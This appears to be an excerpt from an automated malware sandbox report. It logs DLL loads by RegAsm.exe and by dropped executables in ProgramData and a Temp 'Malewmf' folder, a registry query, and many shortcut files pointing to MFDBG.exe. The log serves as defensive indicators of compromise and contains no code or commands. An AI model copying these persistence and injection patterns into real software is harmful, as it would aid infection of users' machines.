Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: version.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\BFIIEHJDBK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk.6.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f479cc4b7b934621b114e9851cf7f7da.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_96f1135cc3e9458bac1a7b890b34d5dc.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_0ff1f78d298144e6a12594af4c5a587d.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c9ea8d257d884379b631f2f19fd6cc78.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c31418e184c142fc9b2fe72f5bf988d2.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_79e1e46edc424547965f7e9b0b1629db.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_49f7c38a3dc947d78bcbf25b163a87d8.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f45234c5af6347b69fbda2eb06d34384.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fe6282a8eec14dfaac4524cf2669496f.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_51c497206cfe4b6a88cb446b5426700c.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_786c94951cdf441d9c85dcf28e6f3c76.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f26a8a2035854a5784cab9c0afb57268.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_26cb77f1a171417098d3a031bf651def.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8662b6207de64a5680650bd8ab121343.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_985396190fc648de8d75757c37e28b46.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_46690152aed24097b2a8d73b0c9fb17b.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e66d5af40411499abd6353af70bf0b52.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3f3f9ac6e3ab487097cc9adaef965328.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b27de76ace1c4257a2ce93218b3012c1.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f65d3bd057d041bda72c93045ac5b69e.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c889471adc3044cba2771738dc11bd54.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fff62a29b5b043a38c13ab03b7de322d.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_013ffea819fc488093d47d9790d75aaf.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6378efeee73e4662b1fe15e111d6943a.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ce8ed0209632479a9250d4a86c2afdd2.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1f0852fa96024e14ad6549f37d2c17d2.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c65dfbcc6f644407af3230082d585b4d.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_08c9236b4ab1429e88c261c9f120271b.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c5b3908ee7e240a09481bea946407c6b.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_156f6c1646d74b83a60a72b2da68cefb.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3039dbe15e784bf4822f2683bdcef2ea.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6540affff38a422ea9c3f7dfa44daa45.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_7b74a53932f841aeac139c8bb463a6e2.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b531fa8056124173a8b000f51dc8b32d.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_93a234a50f2b4992afefdc51f1dafe2b.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b2941dd6e76541968cf4b029eeb9bcc7.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fc1da7d1c6a74761a4df00f0a60678cd.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
